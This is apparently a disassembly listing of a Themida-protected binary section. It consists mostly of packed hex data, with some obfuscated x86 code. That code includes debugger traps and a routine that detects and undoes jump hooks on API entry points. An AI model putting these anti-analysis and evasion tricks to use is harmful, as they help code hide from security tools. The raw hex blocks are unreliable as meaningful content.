dd 0B1A2ADF9h, 73704E15h, 3163EDCBh, 2C574B1Ch, 216BDD4Fh
dd 14163122h, 0E0574B1Ch, 4432018Fh, 420DB366h, 0AC748388h
dd 25627F07h, 5D5073h, 81C43D0Bh, 1E52BE25h, 883217E7h
dd 0C4F9A566h, 0AF53A08Bh, 0F5271CDBh, 83B41A61h, 24321566h
dd 2DC29E00h, 113215E6h, 0E89F7466h, 43DBCCEDh, 0FD321566h
dd 72E55768h, 0DE5379F3h, 723ADD8h, 20D4D435h, 9030FBA7h
dd 2A08DB80h, 0D6DC9453h, 0BDFD98Ch, 55314B96h, 7E373142h
dd 24112043h, 42F09400h, 80897368h, 1677449h, 40F79483h
dd 0A1321566h, 3DB5118Bh, 8CBB4942h, 96817542h, 8953B3D3h
dd 1132068Fh, 78A0A366h, 418CE905h, 6C9E1754h, 84432D0Eh
dd 98C15924h, 6257A8EBh, 0A83D1282h, 11321563h, 71537506h
dd 41DBB807h, 0A4321566h, 0AAA076F8h, 8832188Fh, 0D6D18566h
dd 96FB625Dh, 566C8EBEh, 3765B321h, 462242D2h, 216DED67h
dd 3C1A3122h, 8A2242D2h, 44379569h, 75521566h, 0BA53E038h
dd 8AE19406h, 4B0D4026h, 0A953DFD1h, 98643152h, 8CF49480h
dd 0C7321566h, 16B511A0h, 963D4942h, 88321546h, 4420FD06h
dd 9C9B1566h, 7271C44Eh, 460ABA47h, 354184F5h, 0EB9386B8h
dd 11B01A3Fh, 0E9321566h, 0F33D75A5h, 0F9B37396h, 9053D668h
dd 8832118Ah, 60069C66h, 0FD851A06h, 11319A69h, 373D1566h
dd 0D9BF74A6h, 25D8DD3Dh, 11321A8Fh, 0BB6B9C66h, 0D883CA6h
dd 98951D06h, 6CE47A41h, 8FDBC699h, 7F321566h, 220BF551h
dd 0A5DBB923h, 87CDEA9Ah, 3214ECh, 0CEDFF500h, 0A86CD24Eh
dd 458AFD4Ah, 0D5F251A2h, 0AE2475C0h, 0A8ED96A5h, 458A152Ah
dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h
dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h
dd 0BA8660D5h, 0CE2559D7h, 4261BCBFh, 3832DCF1h, 0BA8DFE80h
dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 0BF01F438h
dd 0DF07462Dh, 5343FBCEh, 3C6D5h, 5492B85Eh, 3075152Ah
dd 5CDDAEAEh, 0EC3B8FA7h, 0D9FB5649h, 0AE2079B0h, 0DD7BAEA5h
dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0E932DCAAh, 168DFE83h
dd 0FEC4CB2Fh, 967512C1h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h
dd 4582D7E3h, 3044BAh, 499D8D00h, 0B807E40Fh, 2490h, 0F58589h
dd 0E807E4h, 58000000h, 0D05h, 0E9038900h, 2490h, 49h dup(0)
dd 83000000h, 0A4F305E9h, 5203CB8Bh, 6612E208h, 0FD952F82h
dd 5310FB75h, 0B959473Ah, 3256D5BAh, 3256EC58h, 0CD96CCB1h
dd 3DD2BF71h, 32564B38h, 22D0A1B1h, 0DB5657B1h, 3256ABBAh
dd 0E9839ADBh, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 0DE2A17FBh
dd 0D525FA91h, 0ADFDF53Fh, 909E9C30h, 0CFB73422h, 0B723AC7Ah
dd 1A20AD29h, 7975FD7Ah, 3C987C27h, 0A0721618h, 83152CFFh
dd 0A4F305E9h, 0BD8DDB8Bh, 7EBF924h, 81078D8Dh, 44B807ECh
dd 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h, 0CE9F675h
dd 0AE000000h, 0FFD2EE24h, 780BAA22h, 0E9BF6215h, 10h
dd 0FF62D5DEh, 0F2722432h, 0BAC803AFh, 64E10DE2h, 9E9h
dd 0FB0B4B00h, 46F8D4A4h, 0DF68C03Fh, 89000013h, 0E9582404h
dd 0Eh, 30AD4D67h, 5155DEDBh, 0B52220B4h, 0BD83F822h, 7E413F1h
dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 411B8h
dd 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h
dd 7E409h, 53501774h, 411B8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh
dd 5BD3FF07h, 0B960F858h, 41252E77h, 48B5061h, 4C48324h
dd 6E9h, 1B141800h, 0F82DE1D4h, 5E8h, 0EA781A00h, 0D580E360h
dd 8F0F5827h, 9, 3830Fh, 0CD800000h, 14C081BDh, 6800005Dh
dd 0
; ---------------------------------------------------------------------------
and cx, 9C48h
pop ebx
mov ch, bl
loc_60A934: ; CODE XREF: Themida_:0060A9B6j
push dword ptr [ebx+eax]
push edx
mov dh, 96h
pop esi
pop edi
jmp loc_60A955
; ---------------------------------------------------------------------------
db 9Dh, 2 dup(0F3h)
dd 0EE8C7609h, 0AC2F6C0Ah, 1E21D045h, 0BE86A016h
db 0EFh
; ---------------------------------------------------------------------------
loc_60A955: ; CODE XREF: Themida_:0060A93Cj
xor edi, 5CCF7CF6h
mov cx, 0E1F6h
add edi, 3894772Ch
pusha
mov ebx, edi
xor cl, 0F5h
popa
sub edi, 75C1AE93h
movzx ecx, dx
push edi
add esi, 217B4FE1h
pop dword ptr [eax+ebx]
mov dx, 4664h
sub ebx, 2
sbb ecx, 42AA65A2h
dec ebx
dec ebx
jge loc_60A996
mov ecx, ebx
loc_60A996: ; CODE XREF: Themida_:0060A98Ej
cmp ebx, 0FFFFA3A4h
jnz loc_60A9B4
mov ecx, 2C17070Ah
jmp loc_60A9C5
; ---------------------------------------------------------------------------
dec ebp
adc [ebx], edi
int 3 ; Trap to Debugger
and al, 64h
adc al, 77h
loc_60A9B4: ; CODE XREF: Themida_:0060A99Cj
mov dl, 84h
jmp loc_60A934
; ---------------------------------------------------------------------------
db 66h
dd 37C6439Eh, 0BBA26105h
; ---------------------------------------------------------------------------
xchg eax, esp
loc_60A9C5: ; CODE XREF: Themida_:0060A9A7j
jmp loc_60A9D4
; ---------------------------------------------------------------------------
dw 910Dh
dd 5489h, 0
; ---------------------------------------------------------------------------
loc_60A9D4: ; CODE XREF: Themida_:loc_60A9C5j
jmp loc_60AEC5
; ---------------------------------------------------------------------------
push 7EC8646h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EC86C5h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EC8864h
jmp loc_58A287
; ---------------------------------------------------------------------------
retn 0C8EAh
; ---------------------------------------------------------------------------
dw 1E34h
dd 7B912545h, 0DBF1859Fh, 3E54E8FCh, 0DAB34763h, 44603B14h
dd 0A2C09AB0h, 41AF80Eh, 657D5A70h, 0F16E1ED1h, 13AE250Ah
dd 56F483C8h, 710F5F7Bh, 0A66C7E92h, 4FE3FBD8h, 8F390375h
dd 0DEA46E38h, 95E6A9CCh, 0CF6AA2B6h, 917D027Fh, 70D91442h
dd 0F365C717h, 5EF86E19h, 25DA571Ch, 0B114428Ah, 8763EF48h
dd 64625B6Dh, 3213A6A1h, 49A2B896h, 0F69B6411h, 1F3013A6h
dd 0BBC83767h, 0FD0DD877h, 36000002h, 0E81C745h, 70DE50A0h
dd 90162549h, 0F3704E60h, 13A61C25h, 76818AF3h, 0EEC37AFCh
dd 4D9D117Eh, 0EC82B2D0h, 9FD74016h, 97E7C7C8h, 88BFBD1Ah
dd 1060C91Eh, 0E97D9572h, 0CEABF6D3h, 57E37EB6h, 8E29617Bh
dd 6995E135h, 90D05CF0h, 3380Ah, 0A2C49C00h, 0FF1FF80Eh
dd 5F79556Bh, 0C2D6B5CBh, 213D182Eh, 154EB48Dh, 748A1E3Ah
dd 0D2E87C9Ah, 344ADEF4h, 0F8AB3F57h, 2634CB48h, 5DA213AEh
dd 6C424DCEh, 259F9F1Ch, 19B513AEh, 0FA10EE3Fh, 96CE27C2h
dd 7A926FFBh, 0FE4EA742h, 6EE95D8Ch, 2B3DB361h, 0B8D4AF4Dh
dd 0CDAC4A24h, 0B28DA7B9h, 31B15E96h, 84EC5151h, 0AEDEA522h
dd 137C13AEh, 0F20AE701h, 16BBE29Eh, 0D157976Ah, 2B9h
dd 8D21431Bh, 0EA7E9E77h, 4ADEF8D4h, 0AD415534h, 0CA0BC97h
dd 0B994CD33h, 19F3099Dh, 735167FBh, 0D6B3C95Dh, 0C7772ABEh
dd 0AE26B54Ah, 4DDC2113h, 1162092h, 0DB1DE25Fh, 50B91442h
dd 0AF34CFF0h, 99157A9Dh, 956AE749h, 41144205h, 6BE8C6D8h
dd 13AE80D3h, 2AC81881h, 64FF374Bh, 1CDF8C52h, 0AB13AF8Ah
dd 11AFEA9Ah, 48E31B35h, 0F3A45B36h, 0B531D86Eh, 5A000001h
dd 415A7956h, 7317EECEh, 56027EECh, 5E3D72F6h, 22FFCD05h
dd 0DB58BA0Ah, 14420B24h, 153749B2h, 0C51599F6h, 0FF840163h
dd 5B14420Bh, 0BF087F2h, 0FE5E1442h, 420BFA81h, 96EF5814h
dd 0D244A684h, 631F8782h, 968FA15Ah, 13A63414h, 0C8E0BD5Bh
dd 5C3BD7B6h, 0E9751048h, 22BDF50Bh, 9DFF91C9h, 0A63B5B20h
dd 3E8EF713h, 0A63B3AC1h, 1D2F9813h, 0A63B5B24h, 94DFBC13h
dd 0E469FB7h, 0F476740h, 0B7FBAB2Eh, 66164E5Fh, 0D8778299h
dd 3B3Eh, 424D6700h, 0E99F1C6Ch, 0A813A6A9h, 637CFE36h
dd 1692B1D3h, 9FDA3AA7h, 624153C1h, 43CFEBC6h, 0BBF34C68h
dd 98AC8B29h, 2BF28D86h, 485913A6h, 869F601Ch, 0AA38D877h
dd 61000000h, 29617956h, 56D33597h, 1442A0A1h, 0A259C42Dh
dd 301442A0h, 0C09BB5C7h, 0C19E6CA4h, 0DFBB59A9h, 0E0F28DC5h
dd 576F4C1Ah, 0A4F3CEC3h, 67441442h, 0F39CBB4Fh, 3B94AA88h
dd 43D06EEBh, 359E13A4h, 7E583E5h, 0C1EB9F1h, 67FB17F2h
dd 65A7651h, 6A1BDE84h, 1A43C909h, 0BA000001h, 162CC0E2h
dd 73891D3Dh, 0D3E97D97h, 364CE0F4h, 0D2AB3F5Bh, 3C58332Ch
dd 9AB892A8h, 0FC12F006h, 5D755268h, 0E96616C9h, 13AE2812h
dd 92EC7BC0h, 0EAFC1AF4h, 89D9F5D0h, 0AB368417h, 5FDF9C90h
dd 64BD1DF7h, 0AACCDE94h, 0B9FB794h, 16F4923Ah, 0A12DC800h
dd 819BADC3h, 86548CA4h, 0DEFD91A9h, 4BADFDB1h, 0A6B8D0ADh
dd 0A6EF35ADh, 0AEFE6713h, 85193510h, 0A6F0EF90h, 4B2813h
dd 37D20A24h, 59344ADEh, 8E7F053Dh, 0E000000h, 1C6C424Dh
dd 0AE25E39Fh, 2940B213h, 2E41A2FAh, 0C3B83585h, 8F13AE0Bh
dd 0C5351426h, 5CA59222h, 154DA632h, 0BE526A47h, 7BB3CBA8h
dd 0CBCD43CEh, 0DFF7D440h, 0E1FFD9A7h, 255D7B55h, 0A3EF976Eh
dd 0DD400481h, 3E54E800h, 7F114961h, 0D7B508E1h, 95EE89C1h
dd 96B0C25Dh, 0E153A3B7h, 7F42EA87h, 2BF10331h, 3068805Dh
dd 336B8762h, 5E1252CFh, 0EB5212E9h, 8862F60Eh, 0E0F210EAh
dd 99D1E9C6h, 813h, 358DA200h, 8EA0BC97h, 5C7E56B9h, 61795624h
dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h
dd 7A94703Eh, 7B9B7442h, 0EC81EE43h, 4, 50241C89h, 405E089h
dd 83000000h, 48704E8h, 0C895C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
mov ecx, 5C1214F3h
neg ecx
shr ecx, 2
sub ecx, 28612136h
and ecx, 1E83044Ch
dec ecx
not ecx
xor ecx, 0F8917A98h
push esp
mov eax, [esp]
add esp, 4
push edx
mov edx, 8
add edx, 4783444Dh
add edx, eax
sub edx, 4783444Dh
mov [edx], ecx
pop edx
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_58A287
; ---------------------------------------------------------------------------
db 0C0h
; ---------------------------------------------------------------------------
push esi
loc_60AEC5: ; CODE XREF: Themida_:loc_60A9D4j
mov eax, 7EC89A3h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 0D2E2h
dd 99060598h, 31BA3726h, 17307731h, 0C70E4509h, 6ECD16B4h
dd 7FFF5F63h, 61B76EC4h, 0EDE97337h
db 3 dup(0)
; =============== S U B R O U T I N E =======================================
sub_60AEF3 proc near ; DATA XREF: Themida_:00585548o
; Themida_:0058571Co
pusha
mov ax, ds
test al, 4
jz loc_60AFDE
mov esi, [ebp+7E41281h]
cmp esi, 0
jnz loc_60AF30
mov byte ptr [ebp+7E42C2Dh], 45h
push 8E726969h
push dword ptr [ebp+7E4019Dh]
lea eax, [ebp+7E7B0A7h]
call eax
mov [ebp+7E41665h], eax
mov esi, eax
loc_60AF30: ; CODE XREF: sub_60AEF3+15j
cmp byte ptr [esi], 0E9h
jnz loc_60AF6A
lea eax, [ebp+7E9B928h]
call eax
mov edi, [ebp+7E42D39h]
add edi, 1184h
mov esi, [ebp+7E41281h]
xchg esi, edi
mov ecx, 8
rep movsb
mov esi, [ebp+7E41281h]
lea eax, [ebp+7E86E30h]
call eax
loc_60AF6A: ; CODE XREF: sub_60AEF3+40j
mov esi, [ebp+7E401A9h]
cmp esi, 0
jnz loc_60AF9B
mov byte ptr [ebp+7E42C2Dh], 54h
push 0FF4EBEF4h
push dword ptr [ebp+7E4019Dh]
lea eax, [ebp+7E7B0A7h]
call eax
mov [ebp+7E401A9h], eax
mov esi, eax
loc_60AF9B: ; CODE XREF: sub_60AEF3+80j
cmp byte ptr [esi], 0E9h
jnz loc_60AFDE
mov esi, [ebp+7E401A9h]
lea eax, [ebp+7E9B928h]
call eax
mov edi, [ebp+7E42D39h]
add edi, 1184h
add edi, 8
mov esi, [ebp+7E401A9h]
xchg esi, edi
mov ecx, 8
rep movsb
mov esi, [ebp+7E401A9h]
lea eax, [ebp+7E86E30h]
call eax
loc_60AFDE: ; CODE XREF: sub_60AEF3+6j
; sub_60AEF3+ABj
popa
retn
sub_60AEF3 endp
; ---------------------------------------------------------------------------
dd 8A68858Dh, 858907ECh, 7E43291h, 8C0C8D8Dh, 14E807ECh
dd 1D000000h, 420EDFA2h, 6C9563D7h, 8CF8EA20h, 819151A8h
dd 609BB0EBh, 0F18B5B53h, 8D895F61h, 7E41B71h, 29DD9589h
dd 236007E4h, 0E422B58Dh, 0BD858907h, 6107E430h, 2DA185C7h
dd 5B5407E4h, 0E0810000h, 59E174BFh, 22B985C7h, 7E4h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 893251C3h, 0E40AF18Dh, 91B5FF07h, 0F07E422h, 8A0FC6B7h
dd 0Ch, 7E9h, 42570900h, 3C7E1A06h, 306195FFh, 958907E4h
dd 7E42F7Dh, 95FF006Ah, 7E40E41h, 6FEBC08Bh, 0CB050145h
dd 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h, 11126661h
dd 70DC9192h, 0B8A5B69Bh, 2FC5B3F6h, 0D3808E6Fh, 6CBE851Bh
dd 0C337E483h, 51DEFF5Eh, 0C96D770Fh, 147D7AE2h, 5B882BAEh
dd 2CD34301h, 0E366E0DEh, 4F0AE388h, 0AF6B2CAEh, 0A6C9C9A2h
dd 1A5711D1h, 0AE810AB5h, 7E32E9CEh, 0BABE2B04h, 4CE165B8h
dd 0F2001058h, 0E9CBFE05h, 2Ah, 59641DC3h, 416C7452h, 636F6C6Ch
dd 48657461h, 706165h, 140000h, 4 dup(0)
dd 20E90000h, 68000011h, 7EC8E7Bh, 0F7F13EE9h, 8F8D68FFh
dd 34E907ECh, 68FFF7F1h, 7EC91C1h, 0F7F12AE9h, 92A668FFh
dd 20E907ECh, 68FFF7F1h, 7EC9660h, 0F7F116E9h, 96E868FFh
dd 0CE907ECh, 68FFF7F1h, 7EC9727h, 0F7F102E9h, 981E68FFh
dd 0F8E907ECh, 68FFF7F0h, 7EC98D8h, 0F7F0EEE9h, 993268FFh
dd 0E4E907ECh, 68FFF7F0h, 7EC9B2Fh, 0F7F0DAE9h, 9C3868FFh
dd 0D0E907ECh, 82FFF7F0h, 0DEF488AAh, 3B51E505h, 9BB1455Fh
dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh
dd 253D1A30h, 0B12EDE91h, 13AE2DCAh, 56B44388h, 5B296179h
dd 602E667Eh, 7D346C82h, 0A27FFEA6h, 5BD83A8Ah, 1442A0A4h
dd 5E3DC932h, 16384Ah, 0E3F7D625h, 8EC83A8Ah, 8081738h
dd 0EC022436h, 0CBEBC40Fh, 8F6C3A72h, 0CBC4E377h, 941693E3h
dd 0DA13A659h, 0F38C3971h, 2413A65Eh, 21EF94Ah, 0CAA371A9h
dd 6C3372AAh, 0F207838h, 1FD82757h, 20BED877h, 0C3B83542h
dd 8F13A656h, 6841CD26h, 33973648h, 0C0000000h, 1C6C424Dh
dd 2AE448BAh, 175A3D6Dh, 0B6460C05h, 0AB1413A6h, 8835C673h
dd 819213A6h, 0E96699C5h, 0CE30D877h, 0A684AA51h, 0ADBF2813h
dd 0AE0Eh, 79563700h, 805B2961h, 9B761464h, 0FA53734Ch
dd 0B6C727C2h, 0CC4D3D37h, 21EFB5C7h, 20F944h, 0C4A16FA7h
dd 872318ACh, 9A144209h, 0B755A5BDh, 8BADBFDDh, 48809875h
dd 40901E71h, 0A60641C3h, 12A60F13h, 0A7BB9A38h, 9FC2D46Fh
dd 0F16EBEF0h, 14408FFEh, 5DFB4BB4h, 0F8D26682h, 2A62805Ah
dd 2B63835Ch, 0B253790h, 1CC01430h, 15623721h, 0E934FD5h
dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h
dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h
dd 7B007D2Dh, 0D713AE2Eh, 7B560392h, 0D8B5CB5Fh, 4D5B2CC0h
dd 0BA1C6C42h, 0A024DB58h, 49B21442h, 0A9883E37h, 0A94713A6h
dd 0AD7BB3CDh, 60B9CFh, 8C47E04Eh, 29081AA8h, 20DB88C0h
dd 0A713A65Bh, 51AEEE96h, 86D87716h, 0FBh, 617956AFh, 7F957311h
dd 0D49AAC47h, 7AC9A442h, 0B04B839Fh, 0F58A0757h, 611442A0h
dd 0F1CCE6F8h, 0D0F09DD5h, 0A31442A4h, 0D9112705h, 35122C3Eh
dd 0EE6BCD1Dh, 1442A509h, 0F7D05CC5h, 0F2049FD7h, 92DDBAD0h
dd 84099B9h, 505E31h, 346C8662h, 0A55E25A2h, 93FC1442h
dd 0CD4A283Ah, 13A6B14Bh, 889E7C1Ah, 9A2E9776h, 8C67147Bh
dd 124A5E3Dh, 75C51E77h, 0BF8CC003h, 55E19D63h, 714F6177h
dd 40CDD4F4h, 0ED3DA614h, 0C458744Fh, 0AB84D3AEh, 5FB8538Bh
dd 375FDB0Bh, 0A42A6A62h, 0D81h, 55E90BE3h, 0B246663Fh
dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh, 0E1BBD165h
dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0AE2F6D12h, 15A4E913h
dd 56587B56h, 6A6EFF55h, 697F136Ch, 0C224748Ch, 241CE360h
dd 51BA1442h, 422411E6h, 4254BD14h, 56D44620h, 0C7A7F76Dh
dd 56AE8395h, 5B296179h, 0DDD2667Eh, 1442A022h, 0EC809875h
dd 0A9E1F9D6h, 819F7917h, 6078556Fh, 6EE0EA28h, 79A45FCFh
dd 5C35C133h, 0D98D2A3Ch, 0DD718966h, 5BACF906h, 0ACDEE0h
dd 4D070000h, 9F1C6C42h, 13A6B6E9h, 59063EA7h, 13A6B7A6h
dd 0C0F818F1h, 0C3FB17F2h, 0C989BD84h, 75246071h, 0CCDEFED7h
dd 78060EF1h, 7CC7D8h, 77F00000h, 1442A085h, 0D6268807h
dd 0A6A6B759h, 40D43D13h, 0F0870466h, 5E13A6A6h, 0A6FA81FEh
dd 0EF5813A6h, 8F6A8496h, 3E186340h, 0F48FC720h, 38C639Bh
dd 90DE5BABh, 3E1442A6h, 4D2B41D5h, 180A2504h, 0F96725FBh
dd 852058B1h, 0C462F42Ch, 663FCBEBh, 61730E46h, 0D5D513Eh
dd 6EF3BE90h, 0B74BB41Ch, 79FE7BDDh, 0D503EE3Ch, 6885A6Ch
dd 0E000009h, 3C482FACh, 9D0603EEh, 424DB68Bh, 0E59F1C6Ch
dd 0AB13A6BDh, 0A25D0A42h, 0F513A6BEh, 0A5BCF918h, 62F714A7h
dd 542FD109h, 9E8DABC0h, 5E7E57E3h, 0EC986F26h, 447C9471h
dd 0E7F850A9h, 0E600FFBFh, 15D5D877h, 0FE000000h, 42A08477h
dd 29CE4B14h, 0A51442A0h, 3C9FE33Ch, 2EFFFFFCh, 0F875424Dh
dd 1442A003h, 0A0AC53D0h, 0C12A1442h, 5EAE0770h, 0A6B47BE1h
dd 1BB91913h, 50EB2341h, 0A6B41EE5h, 0FA53BC13h, 0B46A15C2h
dd 0D0E113A6h, 917E894h, 34C0D878h, 0E9000005h, 18ED245h
dd 5DFB5DADh, 9631697Fh, 42A0542Bh, 49990214h, 42A037CCh
dd 283AA314h, 8C1FCD4Ah, 64CD13A6h, 0BC70505Bh, 0D1BEBA63h
dd 2E108DDDh, 24A20FDCh, 0E3AC83BBh, 0DAFE7BCBh, 79AA286Eh
dd 0AEE6FEDBh, 86220113h, 0BC578FABh, 98751363h, 0F9D6EC80h
dd 5EB7D3AEh, 8DA3E60Ah, 0AD3373B0h, 0B4Dh, 891D3F17h
dd 0E67A9A73h, 46DAF4D0h, 0A93D5130h, 89CB893h, 0B590C92Fh
dd 15EF0599h, 6F4D63F7h, 0D2AFC559h, 0C37326BAh, 0AE31B146h
dd 49D81D13h, 0ED6A7956h, 1442A016h, 0A0B348C5h, 0B61F1442h
dd 6BA3FC65h, 475D3BD9h, 317D1235h, 865A64E1h, 5BF913A6h
dd 63046480h, 0A11D64A7h, 8BF4D3E5h, 0A9BF9D3Bh, 4ADBE759h
dd 0F821B4A2h, 0D0AEC4E6h, 2ED582BAh, 0AD13A6AFh, 517350Fh
dd 0A6BF730Ch, 6642E013h, 78173A4Ch, 1284E636h, 0EE6AD34Dh
dd 0B7B0C2A7h, 14429899h, 99467EE7h, 1B8A9BE6h, 6C105465h
dd 0D093D693h, 1C44h, 424D6D00h, 0C99F1C6Ch, 8713A6B6h
dd 3A5CCE1Eh, 95A2EB3Bh, 1AA06678h, 0Eh, 6C424DA9h, 0B5019F1Ch
dd 0E64F13A6h, 795625AEh, 0D1ED0D61h, 40807202h, 0A68BAh
dd 224FC00h, 5F7F586Eh, 0BFD9B5CBh, 2236152Bh, 819D788Eh
dd 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh, 94AA3E54h, 580B9FB7h
dd 32542BA8h, 0BD0213AEh, 39424D2Eh, 720D455Bh, 2A4CC919h
dd 0B813A6B4h, 6C49174Fh, 0F22A4621h, 0CE3B3550h, 0CF281E8Ch
dd 93EDE276h, 0FD34EDC0h, 0EF0DE794h, 2FC31CB7h, 0DF2F7F10h
dd 89214462h, 59A9123Ch, 90C8DCBBh, 748C69F5h, 0F5CE9C62h
dd 4FE8BACEh, 411CB2B1h, 56CCC25h, 0D655D6E7h, 0F514A801h
dd 52C4149Ah, 2C0B6A6Eh, 52304204h, 0B5C977D5h, 649C0524h
dd 0B5C9C4B7h, 3272832Ah, 64B4758Ah, 1D962A1h, 4D8B0000h
dd 9F1C6C42h, 13A6B445h, 562DAA0Ch, 0F513A6B5h, 2A4F476Ch
dd 0E77C8E5h, 0A8811DFCh, 55B55088h, 52BF961Ch, 3F77D0CDh
dd 8859471h, 13A6E373h, 5CADC9A4h, 5126A3F3h, 0FD13A6E3h
dd 91A73B94h, 38D495B4h, 8E2EA0F7h, 6D47E535h, 0BC7BEF4Fh
dd 0A9630552h, 0DA24D197h, 3D34ED24h, 44124A5Eh, 0B0144C6Ah
dd 1D3F7333h, 0CDE3C15Fh, 4BE8FA95h, 2F47241Bh, 4E6241DFh
dd 27041A3Ch, 0D02AD70Fh, 431C2662h, 45134B69h, 0ECC55167h
dd 4BA4BC99h, 0C1855C13h, 1451C91h, 2EE2E85Ah, 3D33E7ABh
dd 1C34112Bh, 16ED6ACCh, 0C4423969h, 6910E764h, 55BE4239h
dd 0EEC8EAFCh, 0CD35DC7Ch, 0C744A6A1h, 42390830h, 0CADC359Eh
dd 47C4D3B0h, 423908B0h, 0B4EC08E3h, 65FC819h, 0BF9E3CCEh
dd 0C6D873ABh, 6CBCF2A3h, 390828EFh, 2D7DE642h, 3A4E2DCBh
dd 7FC6702h, 0D3423908h, 1736586Ah, 69E63678h, 45DD022Fh
dd 86548CF5h, 0E7FD91A9h, 28BAF20Ah, 845FB08Ah, 3C953068h
dd 5E576904h, 4A1D1381h, 0E5123912h, 0E9D902B2h, 0BA4C84DDh
dd 1D2A463Dh, 1FAB144Ah, 31BF841h, 9FD730CBh, 0BADCF4D1h
dd 0D449093Dh, 27431EBCh, 8DCC7815h, 0C4FC10EFh, 20FD1729h
dd 389A7408h, 1D2AC4BBh, 6116934Ah, 0ED4A1D2Bh, 0B8CA3384h
dd 49139ABFh, 0A9DF43Eh, 27AB549Eh, 90247D0Bh, 4D859D7Ah
dd 0B6366BA0h, 0F610EC40h, 0FA14F0BEh, 88BC83C2h, 7D29A6C8h
dd 99162502h, 4CB877E2h, 1AAE0770h, 0BF0F2704h, 0D17B3E4Dh
dd 1E30998Eh, 990E8158h, 82FF2EC4h, 4CB8C4FDh, 9190F059h
dd 858B1B6h, 0C8A644A6h, 5AB047B2h, 0B51E4CB8h, 70A4AAA3h
dd 89F24B5Ch, 4C27F5h, 4DB60000h, 0BA1C6C42h, 0A024DB58h
dd 49B21442h, 0B6A83E37h, 0BD2613A6h, 7955F385h, 1895275Fh
dd 13A6B663h, 1B2D86EFh, 74082801h, 3752B8Ah, 0F10FE992h
dd 3CCB4898h, 0AB13A6BCh, 0E018300Dh, 0F4543345h, 0A6BC8077h
dd 8CE54E13h, 79560F10h, 0FF37532Eh, 58770B64h, 0AA277737h
dd 13A6BC34h, 0BA9F962h, 29C7172Dh, 123354Bh, 0BFF70DEBh
dd 0F5D4A7E8h, 0D63888E1h, 0BD00F774h, 0B69313A6h, 7ACB669Eh
dd 0B406FF11h, 9B14429Bh, 0D00820FDh, 0DB442335h, 0F405F6A3h
dd 0A851B8Ah, 79D754A4h, 81C6EF5h, 49EB2496h, 0E7F99A67h
dd 798D6C08h, 0F413C919h, 55AE99C6h, 0A48F701Dh, 2B3C03EEh
dd 0DBC437Bh, 1F19C8B0h, 42000000h, 1C6C424Dh, 293D1CBAh
dd 0EECA56F1h, 0EF019CD4h, 0A6B610F6h, 3D75DE13h, 2EB7h
dd 424D4600h, 70B4AD65h, 746D1A94h, 0EA0747F8h, 0D7B03C95h
dd 8BE47FB7h, 0A2E0BE3Bh, 56E13A6h, 5CD93BCDh, 13A68CA7h
dd 0A0BC9733h, 92603547h, 0ACFC1AF4h, 42A0482Fh, 8B9D0614h
dd 287C9471h, 7202D1DCh, 0AEDF65A5h, 0B6000006h, 1228BCDEh
dd 6F851939h, 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h
dd 96B48EA4h, 0F80EEC02h, 59714E64h, 0E56212C5h, 13AE361Eh
dd 45E877BCh, 6B107FC1h, 0CF1F788Ch, 0A68C8452h, 0E0E95213h
dd 0E0566ED5h, 0C7E7A8D1h, 0A79CFA77h, 16AD98Dh, 119DF2C9h
dd 9C6744C1h, 56F4C1A9h, 38542F78h, 0FA0CA7DFh, 8AA27F1Bh
dd 0E5EB752h, 7849370h, 0CDB1E370h, 881C75DEh, 297D9572h
dd 980F8EE5h, 26EA70B0h, 3E000006h, 9AB04466h, 0F70DA1C1h
dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch
dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13AE3696h, 5670FF44h
dd 0B0D6179h, 9E7202D2h, 5E7D85Eh, 0A57D0000h, 0D9EF83h
dd 5A364CE0h, 0B796AC40h, 1EF90FA3h, 6F956E02h, 6BFF1BF6h
dd 0C95D7B55h, 2BBFD5B3h, 8C203815h, 0D7AC29D9h, 8313AE37h
dd 7956AF3Eh, 3D522961h, 42A42171h, 1013AE2Ch, 9BF413A7h
dd 0C361C313h, 6642CEE6h, 0AB413A4Ch, 29144A0Dh, 58F688C0h
dd 902B637Bh, 0DFA857Eh, 421D1B92h, 4120EE26h, 6DC02826h
dd 64BDABE3h, 66845E2Ch, 71F4932Eh, 79507635h, 0C49A5A35h
dd 4202136Bh, 8BE4E51Ah, 0EC41B3D0h, 0B8366796h, 0A953F204h
dd 7C000000h, 27C5C045h, 0A1EFD4Ch, 0A6DE37D2h, 0B9D6F90Bh
dd 7A28A5F5h, 2813A68Ch, 0CAABB6BFh, 99DCA19Eh, 0CB0321FBh
